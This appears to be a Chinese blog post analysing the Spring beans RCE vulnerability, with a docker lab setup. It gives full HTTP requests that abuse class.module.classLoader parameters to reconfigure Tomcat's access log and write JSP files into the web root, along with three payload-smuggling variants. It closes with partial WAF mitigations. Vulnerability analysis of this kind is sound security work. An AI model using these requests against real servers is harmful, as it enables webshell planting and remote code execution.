目录

Spring beans RCE 漏洞分析

Spring beans RCE 漏洞分析

1 影响范围

  • JDK 9 及其以上版本
  • Spring 框架以及衍生的框架 spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class

2 漏洞复现

2.1 环境搭建

本文使用的是 spring-core-rce-2022-03-29 docker 镜像,启动镜像:

1
docker run --name springRCE -p 8090:8080 -d vulfocus/spring-core-rce-2022-03-29

2.2 漏洞原理

通过直接修改 tomcat 的 log 日志配置,即可以向 webapp/ROOT 下写 jsp 文件,达到命令执行的目的,与 s2-020 的利用方式相似。

首先向目标发送如下数据包:

1
2
3
4
5
6
7
8
# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

# 设置日志文件的路径为 webapp/path,只有该文件下的 jsp 文件会被解析,本文以 ROOT 为例
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT

其次,再设置 log 的 patternfileDateFormat,这里的 pattern 是有一定格式限制的,根据 tomcat 官方对于 Access Logging 的定义,该项值可以为: commoncombined,其中 common 的具体定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
%a - Remote IP address. See also %{xxx}a below.
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or '-' if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if enableLookups for the connector is false)
%H - Request protocol
%l - Remote logical username from identd (always returns '-')
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received. See also %{xxx}p below.
%q - Query string (prepended with a '?' if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else '-' (escaped if required)
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request in millis. Note: In httpd %D is microseconds. Behaviour will be aligned to httpd in Tomcat 10 onwards.
%T - Time taken to process the request, in seconds. Note: This value has millisecond resolution whereas in httpd it has second resolution. Behaviour will be align to httpd in Tomcat 10 onwards.
%F - Time taken to commit the response, in milliseconds
%I - Current request thread name (can compare later with stacktraces)

combined 的具体定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
%{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)

%{xxx}i write value of incoming header with name xxx (escaped if required)

%{xxx}o write value of outgoing header with name xxx (escaped if required)

%{xxx}c write value of cookie with name xxx (escaped if required)

%{xxx}r write value of ServletRequest attribute with name xxx (escaped if required)

%{xxx}s write value of HttpSession attribute with name xxx (escaped if required)

%{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)

%{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx

本文的写 webshell 的方案即是选择 combined 相关格式字符。

由于写入一句话 webshell 时,需要一些特殊字符,如:%,而 % 在日志的配置中又具有特殊含义,直接在 pattern 中写入会报错

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302158889.png-water_print

总之,需要避开直接对于百分号的写入,下文尝试了有三种方式去定义 pattern。

2.2.1 从 header 中读取

由上文可知,%{xxx}c 项的作用是:从 HTTP Cookie 中读取 xxx 项,并写入到 log 文件中。因此数据包定义为:

1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc

最后的 HTTP 请求为:

1
2
3
4
5
6
7
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc HTTP/1.1
Host: IP:PORT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg; cmd=<%out.println(11223344);%>
Connection: close

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302146926.png-water_print

由于 ; 作为 Cookie 的分隔符,因此写入的内容会被截断。(不知哪位师傅有解决办法,可以分享下):<%out.println(11223344)

2.2.2 从 header 中读取

由上文可知,%{xxx}i 项的作用是:从 HTTP Header 中读取 xxx 项,并写入到 log 文件中。因此数据包定义为:

1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di

最后的 HTTP 请求为:

1
2
3
4
5
6
7
8
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di HTTP/1.1
Host: IP:PORT
cmd: <%out.println("11223344");%>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg
Connection: close

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302143461.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302143705.png-water_print

2.2.3 直接配置 pattern

上面两种方式本人在测试时发现," 引号会被转义为 \",存在一定缺陷。

此外,由上文可知,%{xxx}t 项的作用是:以 simpleDateFormat 格式定义日志中的 timestamp,比如:可以看到 % 可以正常输出。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302156495.png-water_print

因此数据包定义为:%{%}t,这样就可以向 log 文件中写入 % 了。

1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=3
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dtout.println(%22POC%20Test%22)%3B%25%7B%25%7Dt%3E

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302203197.png-water_print

查看文件:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202203302202352.png-water_print

3 临时修复方案

  • WAF 中对参数中出现的 class.*Class.**.class.**.Class.* 字符串的规则过滤
  • 全局搜索 @InitBinder 注解,判断方法体内是否有 dataBinder.setDisallowedFields 方法, 如果有使用则在原来的黑名单中添加: